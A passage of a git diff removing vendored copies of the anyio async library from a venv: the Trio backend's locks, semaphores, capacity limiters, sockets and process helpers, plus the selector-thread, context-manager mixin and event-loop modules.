- def release(self) -> None: - self.__original.release() - - def statistics(self) -> LockStatistics: - orig_statistics = self.__original.statistics() - owner = TrioTaskInfo(orig_statistics.owner) if orig_statistics.owner else None - return LockStatistics( - orig_statistics.locked, owner, orig_statistics.tasks_waiting - ) - - -class Semaphore(BaseSemaphore): - __slots__ = ("__original",) - - def __new__( - cls, - initial_value: int, - *, - max_value: int | None = None, - fast_acquire: bool = False, - ) -> Semaphore: - return object.__new__(cls) - - def __init__( - self, - initial_value: int, - *, - max_value: int | None = None, - fast_acquire: bool = False, - ) -> None: - super().__init__(initial_value, max_value=max_value, fast_acquire=fast_acquire) - self.__original = trio.Semaphore(initial_value, max_value=max_value) - - async def acquire(self) -> None: - if not self._fast_acquire: - await self.__original.acquire() - return - - # This is the "fast path" where we don't let other tasks run - await trio.lowlevel.checkpoint_if_cancelled() - try: - self.__original.acquire_nowait() - except trio.WouldBlock: - await self.__original._lot.park() - - def acquire_nowait(self) -> None: - try: - self.__original.acquire_nowait() - except trio.WouldBlock: - raise WouldBlock from None - - @property - def max_value(self) -> int | None: - return self.__original.max_value - - @property - def value(self) -> int: - return self.__original.value - - def release(self) -> None: - self.__original.release() - - def statistics(self) -> SemaphoreStatistics: - orig_statistics = self.__original.statistics() - return SemaphoreStatistics(orig_statistics.tasks_waiting) - - -class CapacityLimiter(BaseCapacityLimiter): - __slots__ = ("__original",) - - def __new__( - cls, - total_tokens: float | None = None, - *, - original: trio.CapacityLimiter | None = None, - ) -> CapacityLimiter: - return object.__new__(cls) - - def __init__( - self, - total_tokens: float | None = None, - *, - original: trio.CapacityLimiter | None = None, - ) -> None: - if original is not None: - self.__original = original - else: - assert total_tokens is not None - self.__original = trio.CapacityLimiter(total_tokens) - - async def __aenter__(self) -> None: - return await self.__original.__aenter__() - - async def __aexit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - await self.__original.__aexit__(exc_type, exc_val, exc_tb) - - @property - def total_tokens(self) -> float: - return self.__original.total_tokens - - @total_tokens.setter - def total_tokens(self, value: float) -> None: - self.__original.total_tokens = value - - @property - def borrowed_tokens(self) -> int: - return self.__original.borrowed_tokens - - @property - def available_tokens(self) -> float: - return self.__original.available_tokens - - def acquire_nowait(self) -> None: - try: - self.__original.acquire_nowait() - except trio.WouldBlock: - raise WouldBlock from None - - def acquire_on_behalf_of_nowait(self, borrower: object) -> None: - try: - self.__original.acquire_on_behalf_of_nowait(borrower) - except trio.WouldBlock: - raise WouldBlock from None - - async def acquire(self) -> None: - await self.__original.acquire() - - async def acquire_on_behalf_of(self, borrower: object) -> None: - await self.__original.acquire_on_behalf_of(borrower) - - def release(self) -> None: - return self.__original.release() - - def release_on_behalf_of(self, borrower: object) -> None: - return self.__original.release_on_behalf_of(borrower) - - def statistics(self) -> CapacityLimiterStatistics: - orig = self.__original.statistics() - return CapacityLimiterStatistics( - borrowed_tokens=orig.borrowed_tokens, - total_tokens=orig.total_tokens, - borrowers=tuple(orig.borrowers), - tasks_waiting=orig.tasks_waiting, - ) - - -_capacity_limiter_wrapper: trio.lowlevel.RunVar = RunVar("_capacity_limiter_wrapper") - - -# -# Signal handling -# - - -class _SignalReceiver: - _iterator: AsyncIterator[int] - - def __init__(self, signals: tuple[Signals, ...]): - self._signals = signals - - def __enter__(self) -> _SignalReceiver: - self._cm = trio.open_signal_receiver(*self._signals) - self._iterator = self._cm.__enter__() - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> bool | None: - return self._cm.__exit__(exc_type, exc_val, exc_tb) - - def __aiter__(self) -> _SignalReceiver: - return self - - async def __anext__(self) -> Signals: - signum = await self._iterator.__anext__() - return Signals(signum) - - -# -# Testing and debugging -# - - -class TestRunner(abc.TestRunner): - def __init__(self, **options: Any) -> None: - from queue import Queue - - self._call_queue: Queue[Callable[[], object]] = Queue() - self._send_stream: ( - MemoryObjectSendStream[tuple[Awaitable[Any], list[Outcome]]] | None - ) = None - self._options = options - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: types.TracebackType | None, - ) -> None: - if self._send_stream: - self._send_stream.close() - while self._send_stream is not None: - self._call_queue.get()() - - def is_running(self) -> bool: - return trio.lowlevel.in_trio_task() - - async def _run_tests_and_fixtures(self) -> None: - self._send_stream, receive_stream = create_memory_object_stream[ - tuple[Awaitable[Any], list[Outcome]] - ](1) - with receive_stream: - async for awaitable, outcome_holder in receive_stream: - try: - retval = await awaitable - except BaseException as exc: - outcome_holder.append(Error(exc)) - else: - outcome_holder.append(Value(retval)) - - def _main_task_finished(self, outcome: object) -> None: - self._send_stream = None - - def _call_in_runner_task( - self, - func: Callable[P, Awaitable[T_Retval]], - /, - *args: P.args, - **kwargs: P.kwargs, - ) -> T_Retval: - if self._send_stream is None: - trio.lowlevel.start_guest_run( - self._run_tests_and_fixtures, - run_sync_soon_threadsafe=self._call_queue.put, - done_callback=self._main_task_finished, - **self._options, - ) - while self._send_stream is None: - self._call_queue.get()() - - outcome_holder: list[Outcome] = [] - self._send_stream.send_nowait((func(*args, **kwargs), outcome_holder)) - while not outcome_holder: - self._call_queue.get()() - - return outcome_holder[0].unwrap() - - def run_asyncgen_fixture( - self, - fixture_func: Callable[..., AsyncGenerator[T_Retval, Any]], - kwargs: dict[str, Any], - ) -> Iterable[T_Retval]: - asyncgen = fixture_func(**kwargs) - fixturevalue: T_Retval = self._call_in_runner_task(asyncgen.asend, None) - - yield fixturevalue - - try: - self._call_in_runner_task(asyncgen.asend, None) - except StopAsyncIteration: - pass - else: - self._call_in_runner_task(asyncgen.aclose) - raise RuntimeError("Async generator fixture did not stop") - - def run_fixture( - self, - fixture_func: Callable[..., Coroutine[Any, Any, T_Retval]], - kwargs: dict[str, Any], - ) -> T_Retval: - return self._call_in_runner_task(fixture_func, **kwargs) - - def run_test( - self, test_func: Callable[..., Coroutine[Any, Any, Any]], kwargs: dict[str, Any] - ) -> None: - self._call_in_runner_task(test_func, **kwargs) - - -class TrioTaskInfo(TaskInfo): - def __init__(self, task: trio.lowlevel.Task): - parent_id = None - if task.parent_nursery and task.parent_nursery.parent_task: - parent_id = id(task.parent_nursery.parent_task) - - super().__init__(id(task), parent_id, task.name, task.coro) - self._task = weakref.proxy(task) - - def has_pending_cancellation(self) -> bool: - try: - return self._task._cancel_status.effectively_cancelled - except ReferenceError: - # If the task is no longer around, it surely doesn't have a cancellation - # pending - return False - - -class TrioBackend(AsyncBackend): - @classmethod - def run( - cls, - func: Callable[[Unpack[PosArgsT]], Awaitable[T_Retval]], - args: tuple[Unpack[PosArgsT]], - kwargs: dict[str, Any], - options: dict[str, Any], - ) -> T_Retval: - assert not kwargs, "unreachable, and not supported by Trio" - return trio.run(ensure_returns_coro(func), *args, **options) - - @classmethod - def current_token(cls) -> object: - return trio.lowlevel.current_trio_token() - - @classmethod - def current_time(cls) -> float: - return trio.current_time() - - @classmethod - def cancelled_exception_class(cls) -> type[BaseException]: - return trio.Cancelled - - @classmethod - async def checkpoint(cls) -> None: - await trio.lowlevel.checkpoint() - - @classmethod - async def checkpoint_if_cancelled(cls) -> None: - await trio.lowlevel.checkpoint_if_cancelled() - - @classmethod - async def cancel_shielded_checkpoint(cls) -> None: - await trio.lowlevel.cancel_shielded_checkpoint() - - @classmethod - async def sleep(cls, delay: float) -> None: - await trio.sleep(delay) - - @classmethod - def create_cancel_scope( - cls, *, deadline: float = math.inf, shield: bool = False - ) -> abc.CancelScope: - return CancelScope(deadline=deadline, shield=shield) - - @classmethod - def current_effective_deadline(cls) -> float: - return trio.current_effective_deadline() - - @classmethod - def create_task_group(cls) -> abc.TaskGroup: - return TaskGroup() - - @classmethod - def create_event(cls) -> abc.Event: - return Event() - - @classmethod - def create_lock(cls, *, fast_acquire: bool) -> Lock: - return Lock(fast_acquire=fast_acquire) - - @classmethod - def create_semaphore( - cls, - initial_value: int, - *, - max_value: int | None = None, - fast_acquire: bool = False, - ) -> abc.Semaphore: - return Semaphore(initial_value, max_value=max_value, fast_acquire=fast_acquire) - - @classmethod - def create_capacity_limiter(cls, total_tokens: float) -> CapacityLimiter: - return CapacityLimiter(total_tokens) - - @classmethod - async def run_sync_in_worker_thread( - cls, - func: Callable[[Unpack[PosArgsT]], T_Retval], - args: tuple[Unpack[PosArgsT]], - abandon_on_cancel: bool = False, - limiter: abc.CapacityLimiter | None = None, - ) -> T_Retval: - def wrapper() -> T_Retval: - with claim_worker_thread(TrioBackend, token): - return func(*args) - - token = TrioBackend.current_token() - return await run_sync( - wrapper, - abandon_on_cancel=abandon_on_cancel, - limiter=cast(trio.CapacityLimiter, limiter), - ) - - @classmethod - def check_cancelled(cls) -> None: - trio.from_thread.check_cancelled() - - @classmethod - def run_async_from_thread( - cls, - func: Callable[[Unpack[PosArgsT]], Coroutine[Any, Any, T_co]], - args: tuple[Unpack[PosArgsT]], - token: object, - ) -> T_co: - trio_token = cast("trio.lowlevel.TrioToken | None", token) - try: - return trio.from_thread.run(func, *args, trio_token=trio_token) - except trio.RunFinishedError: - raise RunFinishedError from None - - @classmethod - def run_sync_from_thread( - cls, - func: Callable[[Unpack[PosArgsT]], T_Retval], - args: tuple[Unpack[PosArgsT]], - token: object, - ) -> T_Retval: - trio_token = cast("trio.lowlevel.TrioToken | None", token) - try: - return trio.from_thread.run_sync(func, *args, trio_token=trio_token) - except trio.RunFinishedError: - raise RunFinishedError from None - - @classmethod - async def open_process( - cls, - command: StrOrBytesPath | Sequence[StrOrBytesPath], - *, - stdin: int | IO[Any] | None, - stdout: int | IO[Any] | None, - stderr: int | IO[Any] | None, - **kwargs: Any, - ) -> Process: - def convert_item(item: StrOrBytesPath) -> str: - str_or_bytes = os.fspath(item) - if isinstance(str_or_bytes, str): - return str_or_bytes - else: - return os.fsdecode(str_or_bytes) - - if isinstance(command, (str, bytes, PathLike)): - process = await trio.lowlevel.open_process( - convert_item(command), - stdin=stdin, - stdout=stdout, - stderr=stderr, - shell=True, - **kwargs, - ) - else: - process = await trio.lowlevel.open_process( - [convert_item(item) for item in command], - stdin=stdin, - stdout=stdout, - stderr=stderr, - shell=False, - **kwargs, - ) - - stdin_stream = SendStreamWrapper(process.stdin) if process.stdin else None - stdout_stream = ReceiveStreamWrapper(process.stdout) if process.stdout else None - stderr_stream = ReceiveStreamWrapper(process.stderr) if process.stderr else None - return Process(process, stdin_stream, stdout_stream, stderr_stream) - - @classmethod - def setup_process_pool_exit_at_shutdown(cls, workers: set[abc.Process]) -> None: - trio.lowlevel.spawn_system_task(_shutdown_process_pool, workers) - - @classmethod - async def connect_tcp( - cls, host: str, port: int, local_address: IPSockAddrType | None = None - ) -> SocketStream: - family = socket.AF_INET6 if ":" in host else socket.AF_INET - trio_socket = trio.socket.socket(family) - trio_socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) - if local_address: - await trio_socket.bind(local_address) - - try: - await trio_socket.connect((host, port)) - except BaseException: - trio_socket.close() - raise - - return SocketStream(trio_socket) - - @classmethod - async def connect_unix(cls, path: str | bytes) -> abc.UNIXSocketStream: - trio_socket = trio.socket.socket(socket.AF_UNIX) - try: - await trio_socket.connect(path) - except BaseException: - trio_socket.close() - raise - - return UNIXSocketStream(trio_socket) - - @classmethod - def create_tcp_listener(cls, sock: socket.socket) -> abc.SocketListener: - return TCPSocketListener(sock) - - @classmethod - def create_unix_listener(cls, sock: socket.socket) -> abc.SocketListener: - return UNIXSocketListener(sock) - - @classmethod - async def create_udp_socket( - cls, - family: socket.AddressFamily, - local_address: IPSockAddrType | None, - remote_address: IPSockAddrType | None, - reuse_port: bool, - ) -> UDPSocket | ConnectedUDPSocket: - trio_socket = trio.socket.socket(family=family, type=socket.SOCK_DGRAM) - - if reuse_port: - trio_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) - - if local_address: - await trio_socket.bind(local_address) - - if remote_address: - await trio_socket.connect(remote_address) - return ConnectedUDPSocket(trio_socket) - else: - return UDPSocket(trio_socket) - - @classmethod - @overload - async def create_unix_datagram_socket( - cls, raw_socket: socket.socket, remote_path: None - ) -> abc.UNIXDatagramSocket: ... - - @classmethod - @overload - async def create_unix_datagram_socket( - cls, raw_socket: socket.socket, remote_path: str | bytes - ) -> abc.ConnectedUNIXDatagramSocket: ... - - @classmethod - async def create_unix_datagram_socket( - cls, raw_socket: socket.socket, remote_path: str | bytes | None - ) -> abc.UNIXDatagramSocket | abc.ConnectedUNIXDatagramSocket: - trio_socket = trio.socket.from_stdlib_socket(raw_socket) - - if remote_path: - await trio_socket.connect(remote_path) - return ConnectedUNIXDatagramSocket(trio_socket) - else: - return UNIXDatagramSocket(trio_socket) - - @classmethod - async def getaddrinfo( - cls, - host: bytes | str | None, - port: str | int | None, - *, - family: int | AddressFamily = 0, - type: int | SocketKind = 0, - proto: int = 0, - flags: int = 0, - ) -> Sequence[ - tuple[ - AddressFamily, - SocketKind, - int, - str, - tuple[str, int] | tuple[str, int, int, int] | tuple[int, bytes], - ] - ]: - return await trio.socket.getaddrinfo(host, port, family, type, proto, flags) - - @classmethod - async def getnameinfo( - cls, sockaddr: IPSockAddrType, flags: int = 0 - ) -> tuple[str, str]: - return await trio.socket.getnameinfo(sockaddr, flags) - - @classmethod - async def wait_readable(cls, obj: FileDescriptorLike) -> None: - try: - await wait_readable(obj) - except trio.ClosedResourceError as exc: - raise ClosedResourceError().with_traceback(exc.__traceback__) from None - except trio.BusyResourceError: - raise BusyResourceError("reading from") from None - - @classmethod - async def wait_writable(cls, obj: FileDescriptorLike) -> None: - try: - await wait_writable(obj) - except trio.ClosedResourceError as exc: - raise ClosedResourceError().with_traceback(exc.__traceback__) from None - except trio.BusyResourceError: - raise BusyResourceError("writing to") from None - - @classmethod - def notify_closing(cls, obj: FileDescriptorLike) -> None: - notify_closing(obj) - - @classmethod - async def wrap_listener_socket(cls, sock: socket.socket) -> abc.SocketListener: - if hasattr(socket, "AF_UNIX") and sock.family == socket.AF_UNIX: - return UNIXSocketListener(sock) - - return TCPSocketListener(sock) - - @classmethod - async def wrap_stream_socket(cls, sock: socket.socket) -> SocketStream: - trio_sock = trio.socket.from_stdlib_socket(sock) - return SocketStream(trio_sock) - - @classmethod - async def wrap_unix_stream_socket(cls, sock: socket.socket) -> UNIXSocketStream: - trio_sock = trio.socket.from_stdlib_socket(sock) - return UNIXSocketStream(trio_sock) - - @classmethod - async def wrap_udp_socket(cls, sock: socket.socket) -> UDPSocket: - trio_sock = trio.socket.from_stdlib_socket(sock) - return UDPSocket(trio_sock) - - @classmethod - async def wrap_connected_udp_socket(cls, sock: socket.socket) -> ConnectedUDPSocket: - trio_sock = trio.socket.from_stdlib_socket(sock) - return ConnectedUDPSocket(trio_sock) - - @classmethod - async def wrap_unix_datagram_socket(cls, sock: socket.socket) -> UNIXDatagramSocket: - trio_sock = trio.socket.from_stdlib_socket(sock) - return UNIXDatagramSocket(trio_sock) - - @classmethod - async def wrap_connected_unix_datagram_socket( - cls, sock: socket.socket - ) -> ConnectedUNIXDatagramSocket: - trio_sock = trio.socket.from_stdlib_socket(sock) - return ConnectedUNIXDatagramSocket(trio_sock) - - @classmethod - def current_default_thread_limiter(cls) -> CapacityLimiter: - try: - return _capacity_limiter_wrapper.get() - except LookupError: - limiter = CapacityLimiter( - original=trio.to_thread.current_default_thread_limiter() - ) - _capacity_limiter_wrapper.set(limiter) - return limiter - - @classmethod - def open_signal_receiver( - cls, *signals: Signals - ) -> AbstractContextManager[AsyncIterator[Signals]]: - return _SignalReceiver(signals) - - @classmethod - def get_current_task(cls) -> TaskInfo: - task = current_task() - return TrioTaskInfo(task) - - @classmethod - def get_running_tasks(cls) -> Sequence[TaskInfo]: - root_task = current_root_task() - assert root_task - task_infos = [TrioTaskInfo(root_task)] - nurseries = root_task.child_nurseries - while nurseries: - new_nurseries: list[trio.Nursery] = [] - for nursery in nurseries: - for task in nursery.child_tasks: - task_infos.append(TrioTaskInfo(task)) - new_nurseries.extend(task.child_nurseries) - - nurseries = new_nurseries - - return task_infos - - @classmethod - async def wait_all_tasks_blocked(cls) -> None: - from trio.testing import wait_all_tasks_blocked - - await wait_all_tasks_blocked() - - @classmethod - def create_test_runner(cls, options: dict[str, Any]) -> TestRunner: - return TestRunner(**options) - - -backend_class = TrioBackend diff --git a/venv/Lib/site-packages/anyio/_core/__init__.py b/venv/Lib/site-packages/anyio/_core/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/anyio/_core/_asyncio_selector_thread.py b/venv/Lib/site-packages/anyio/_core/_asyncio_selector_thread.py deleted file mode 100644 index 9f35bae568e33e6a9e1219761c83cc8350fa0532..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/_core/_asyncio_selector_thread.py +++ /dev/null @@ -1,167 +0,0 @@ -from __future__ import annotations - -import asyncio -import socket -import threading -from collections.abc import Callable -from selectors import EVENT_READ, EVENT_WRITE, DefaultSelector -from typing import TYPE_CHECKING, Any - -if TYPE_CHECKING: - from _typeshed import FileDescriptorLike - -_selector_lock = threading.Lock() -_selector: Selector | None = None - - -class Selector: - def __init__(self) -> None: - self._thread = threading.Thread(target=self.run, name="AnyIO socket selector") - self._selector = DefaultSelector() - self._send, self._receive = socket.socketpair() - self._send.setblocking(False) - self._receive.setblocking(False) - # This somewhat reduces the amount of memory wasted queueing up data - # for wakeups. With these settings, maximum number of 1-byte sends - # before getting BlockingIOError: - # Linux 4.8: 6 - # macOS (darwin 15.5): 1 - # Windows 10: 525347 - # Windows you're weird. (And on Windows setting SNDBUF to 0 makes send - # blocking, even on non-blocking sockets, so don't do that.) - self._receive.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1) - self._send.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1) - # On Windows this is a TCP socket so this might matter. On other - # platforms this fails b/c AF_UNIX sockets aren't actually TCP. - try: - self._send.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) - except OSError: - pass - - self._selector.register(self._receive, EVENT_READ) - self._closed = False - - def start(self) -> None: - self._thread.start() - threading._register_atexit(self._stop) # type: ignore[attr-defined] - - def _stop(self) -> None: - global _selector - self._closed = True - self._notify_self() - self._send.close() - self._thread.join() - self._selector.unregister(self._receive) - self._receive.close() - self._selector.close() - _selector = None - assert not self._selector.get_map(), ( - "selector still has registered file descriptors after shutdown" - ) - - def _notify_self(self) -> None: - try: - self._send.send(b"\x00") - except BlockingIOError: - pass - - def add_reader(self, fd: FileDescriptorLike, callback: Callable[[], Any]) -> None: - loop = asyncio.get_running_loop() - try: - key = self._selector.get_key(fd) - except KeyError: - self._selector.register(fd, EVENT_READ, {EVENT_READ: (loop, callback)}) - else: - if EVENT_READ in key.data: - raise ValueError( - "this file descriptor is already registered for reading" - ) - - key.data[EVENT_READ] = loop, callback - self._selector.modify(fd, key.events | EVENT_READ, key.data) - - self._notify_self() - - def add_writer(self, fd: FileDescriptorLike, callback: Callable[[], Any]) -> None: - loop = asyncio.get_running_loop() - try: - key = self._selector.get_key(fd) - except KeyError: - self._selector.register(fd, EVENT_WRITE, {EVENT_WRITE: (loop, callback)}) - else: - if EVENT_WRITE in key.data: - raise ValueError( - "this file descriptor is already registered for writing" - ) - - key.data[EVENT_WRITE] = loop, callback - self._selector.modify(fd, key.events | EVENT_WRITE, key.data) - - self._notify_self() - - def remove_reader(self, fd: FileDescriptorLike) -> bool: - try: - key = self._selector.get_key(fd) - except KeyError: - return False - - if new_events := key.events ^ EVENT_READ: - del key.data[EVENT_READ] - self._selector.modify(fd, new_events, key.data) - else: - self._selector.unregister(fd) - - return True - - def remove_writer(self, fd: FileDescriptorLike) -> bool: - try: - key = self._selector.get_key(fd) - except KeyError: - return False - - if new_events := key.events ^ EVENT_WRITE: - del key.data[EVENT_WRITE] - self._selector.modify(fd, new_events, key.data) - else: - self._selector.unregister(fd) - - return True - - def run(self) -> None: - while not self._closed: - for key, events in self._selector.select(): - if key.fileobj is self._receive: - try: - while self._receive.recv(4096): - pass - except BlockingIOError: - pass - - continue - - if events & EVENT_READ: - loop, callback = key.data[EVENT_READ] - self.remove_reader(key.fd) - try: - loop.call_soon_threadsafe(callback) - except RuntimeError: - pass # the loop was already closed - - if events & EVENT_WRITE: - loop, callback = key.data[EVENT_WRITE] - self.remove_writer(key.fd) - try: - loop.call_soon_threadsafe(callback) - except RuntimeError: - pass # the loop was already closed - - -def get_selector() -> Selector: - global _selector - - with _selector_lock: - if _selector is None: - _selector = Selector() - _selector.start() - - return _selector diff --git a/venv/Lib/site-packages/anyio/_core/_contextmanagers.py b/venv/Lib/site-packages/anyio/_core/_contextmanagers.py deleted file mode 100644 index 302f32b0c78a7071605b195c55054cfdb0b55f37..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/_core/_contextmanagers.py +++ /dev/null @@ -1,200 +0,0 @@ -from __future__ import annotations - -from abc import abstractmethod -from contextlib import AbstractAsyncContextManager, AbstractContextManager -from inspect import isasyncgen, iscoroutine, isgenerator -from types import TracebackType -from typing import Protocol, TypeVar, cast, final - -_T_co = TypeVar("_T_co", covariant=True) -_ExitT_co = TypeVar("_ExitT_co", covariant=True, bound="bool | None") - - -class _SupportsCtxMgr(Protocol[_T_co, _ExitT_co]): - def __contextmanager__(self) -> AbstractContextManager[_T_co, _ExitT_co]: ... - - -class _SupportsAsyncCtxMgr(Protocol[_T_co, _ExitT_co]): - def __asynccontextmanager__( - self, - ) -> AbstractAsyncContextManager[_T_co, _ExitT_co]: ... - - -class ContextManagerMixin: - """ - Mixin class providing context manager functionality via a generator-based - implementation. - - This class allows you to implement a context manager via :meth:`__contextmanager__` - which should return a generator. The mechanics are meant to mirror those of - :func:`@contextmanager `. - - .. note:: Classes using this mix-in are not reentrant as context managers, meaning - that once you enter it, you can't re-enter before first exiting it. - - .. seealso:: :doc:`contextmanagers` - """ - - __cm: AbstractContextManager[object, bool | None] | None = None - - @final - def __enter__(self: _SupportsCtxMgr[_T_co, bool | None]) -> _T_co: - # Needed for mypy to assume self still has the __cm member - assert isinstance(self, ContextManagerMixin) - if self.__cm is not None: - raise RuntimeError( - f"this {self.__class__.__qualname__} has already been entered" - ) - - cm = self.__contextmanager__() - if not isinstance(cm, AbstractContextManager): - if isgenerator(cm): - raise TypeError( - "__contextmanager__() returned a generator object instead of " - "a context manager. Did you forget to add the @contextmanager " - "decorator?" - ) - - raise TypeError( - f"__contextmanager__() did not return a context manager object, " - f"but {cm.__class__!r}" - ) - - if cm is self: - raise TypeError( - f"{self.__class__.__qualname__}.__contextmanager__() returned " - f"self. Did you forget to add the @contextmanager decorator and a " - f"'yield' statement?" - ) - - value = cm.__enter__() - self.__cm = cm - return value - - @final - def __exit__( - self: _SupportsCtxMgr[object, _ExitT_co], - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> _ExitT_co: - # Needed for mypy to assume self still has the __cm member - assert isinstance(self, ContextManagerMixin) - if self.__cm is None: - raise RuntimeError( - f"this {self.__class__.__qualname__} has not been entered yet" - ) - - # Prevent circular references - cm = self.__cm - del self.__cm - - return cast(_ExitT_co, cm.__exit__(exc_type, exc_val, exc_tb)) - - @abstractmethod - def __contextmanager__(self) -> AbstractContextManager[object, bool | None]: - """ - Implement your context manager logic here. - - This method **must** be decorated with - :func:`@contextmanager `. - - .. note:: Remember that the ``yield`` will raise any exception raised in the - enclosed context block, so use a ``finally:`` block to clean up resources! - - :return: a context manager object - """ - - -class AsyncContextManagerMixin: - """ - Mixin class providing async context manager functionality via a generator-based - implementation. - - This class allows you to implement a context manager via - :meth:`__asynccontextmanager__`. The mechanics are meant to mirror those of - :func:`@asynccontextmanager `. - - .. note:: Classes using this mix-in are not reentrant as context managers, meaning - that once you enter it, you can't re-enter before first exiting it. - - .. seealso:: :doc:`contextmanagers` - """ - - __cm: AbstractAsyncContextManager[object, bool | None] | None = None - - @final - async def __aenter__(self: _SupportsAsyncCtxMgr[_T_co, bool | None]) -> _T_co: - # Needed for mypy to assume self still has the __cm member - assert isinstance(self, AsyncContextManagerMixin) - if self.__cm is not None: - raise RuntimeError( - f"this {self.__class__.__qualname__} has already been entered" - ) - - cm = self.__asynccontextmanager__() - if not isinstance(cm, AbstractAsyncContextManager): - if isasyncgen(cm): - raise TypeError( - "__asynccontextmanager__() returned an async generator instead of " - "an async context manager. Did you forget to add the " - "@asynccontextmanager decorator?" - ) - elif iscoroutine(cm): - cm.close() - raise TypeError( - "__asynccontextmanager__() returned a coroutine object instead of " - "an async context manager. Did you forget to add the " - "@asynccontextmanager decorator and a 'yield' statement?" - ) - - raise TypeError( - f"__asynccontextmanager__() did not return an async context manager, " - f"but {cm.__class__!r}" - ) - - if cm is self: - raise TypeError( - f"{self.__class__.__qualname__}.__asynccontextmanager__() returned " - f"self. Did you forget to add the @asynccontextmanager decorator and a " - f"'yield' statement?" - ) - - value = await cm.__aenter__() - self.__cm = cm - return value - - @final - async def __aexit__( - self: _SupportsAsyncCtxMgr[object, _ExitT_co], - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> _ExitT_co: - assert isinstance(self, AsyncContextManagerMixin) - if self.__cm is None: - raise RuntimeError( - f"this {self.__class__.__qualname__} has not been entered yet" - ) - - # Prevent circular references - cm = self.__cm - del self.__cm - - return cast(_ExitT_co, await cm.__aexit__(exc_type, exc_val, exc_tb)) - - @abstractmethod - def __asynccontextmanager__( - self, - ) -> AbstractAsyncContextManager[object, bool | None]: - """ - Implement your async context manager logic here. - - This method **must** be decorated with - :func:`@asynccontextmanager `. - - .. note:: Remember that the ``yield`` will raise any exception raised in the - enclosed context block, so use a ``finally:`` block to clean up resources! - - :return: an async context manager object - """ diff --git a/venv/Lib/site-packages/anyio/_core/_eventloop.py b/venv/Lib/site-packages/anyio/_core/_eventloop.py deleted file mode 100644 index a3e2ab1cc172f2fbd94f244ab110cb16aa7eb8eb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/_core/_eventloop.py +++ /dev/null @@ -1,240 +0,0 @@ -from __future__ import annotations - -import math -import sys -import threading -from collections.abc import Awaitable, Callable, Generator -from contextlib import contextmanager -from contextvars import Token -from importlib import import_module -from typing import TYPE_CHECKING, Any, TypeVar - -from ._exceptions import NoEventLoopError - -if sys.version_info >= (3, 11): - from typing import TypeVarTuple, Unpack -else: - from typing_extensions import TypeVarTuple, Unpack - -sniffio: Any -try: - import sniffio -except ModuleNotFoundError: - sniffio = None - -if TYPE_CHECKING: - from ..abc import AsyncBackend - -# This must be updated when new backends are introduced -BACKENDS = "asyncio", "trio" - -T_Retval = TypeVar("T_Retval") -PosArgsT = TypeVarTuple("PosArgsT") - -threadlocals = threading.local() -loaded_backends: dict[str, type[AsyncBackend]] = {} - - -def run( - func: Callable[[Unpack[PosArgsT]], Awaitable[T_Retval]], - *args: Unpack[PosArgsT], - backend: str = "asyncio", - backend_options: dict[str, Any] | None = None, -) -> T_Retval: - """ - Run the given coroutine function in an asynchronous event loop. - - The current thread must not be already running an event loop. - - :param func: a coroutine function - :param args: positional arguments to ``func`` - :param backend: name of the asynchronous event loop implementation – currently - either ``asyncio`` or ``trio`` - :param backend_options: keyword arguments to call the backend ``run()`` - implementation with (documented :ref:`here `) - :return: the return value of the coroutine function - :raises RuntimeError: if an asynchronous event loop is already running in this - thread - :raises LookupError: if the named backend is not found - - """ - if asynclib_name := current_async_library(): - raise RuntimeError(f"Already running {asynclib_name} in this thread") - - try: - async_backend = get_async_backend(backend) - except ImportError as exc: - if backend in BACKENDS: - raise LookupError( - f"Backend {backend!r} is not available. " - f"Install it with: pip install anyio[{backend}]" - ) from exc - - raise LookupError(f"No such backend: {backend}") from exc - - token = None - if asynclib_name is None: - # Since we're in control of the event loop, we can cache the name of the async - # library - token = set_current_async_library(backend) - - try: - backend_options = backend_options or {} - return async_backend.run(func, args, {}, backend_options) - finally: - reset_current_async_library(token) - - -async def sleep(delay: float) -> None: - """ - Pause the current task for the specified duration. - - :param delay: the duration, in seconds - - """ - return await get_async_backend().sleep(delay) - - -async def sleep_forever() -> None: - """ - Pause the current task until it's cancelled. - - This is a shortcut for ``sleep(math.inf)``. - - .. versionadded:: 3.1 - - """ - await sleep(math.inf) - - -async def sleep_until(deadline: float) -> None: - """ - Pause the current task until the given time. - - :param deadline: the absolute time to wake up at (according to the internal - monotonic clock of the event loop) - - .. versionadded:: 3.1 - - """ - now = current_time() - await sleep(max(deadline - now, 0)) - - -def current_time() -> float: - """ - Return the current value of the event loop's internal clock. - - :return: the clock value (seconds) - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - - """ - return get_async_backend().current_time() - - -def get_all_backends() -> tuple[str, ...]: - """Return a tuple of the names of all built-in backends.""" - return BACKENDS - - -def get_available_backends() -> tuple[str, ...]: - """ - Test for the availability of built-in backends. - - :return a tuple of the built-in backend names that were successfully imported - - .. versionadded:: 4.12 - - """ - available_backends: list[str] = [] - for backend_name in get_all_backends(): - try: - get_async_backend(backend_name) - except ImportError: - continue - - available_backends.append(backend_name) - - return tuple(available_backends) - - -def get_cancelled_exc_class() -> type[BaseException]: - """ - Return the current async library's cancellation exception class. - - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - - """ - return get_async_backend().cancelled_exception_class() - - -# -# Private API -# - - -@contextmanager -def claim_worker_thread( - backend_class: type[AsyncBackend], token: object -) -> Generator[Any, None, None]: - from ..lowlevel import EventLoopToken - - threadlocals.current_token = EventLoopToken(backend_class, token) - try: - yield - finally: - del threadlocals.current_token - - -def 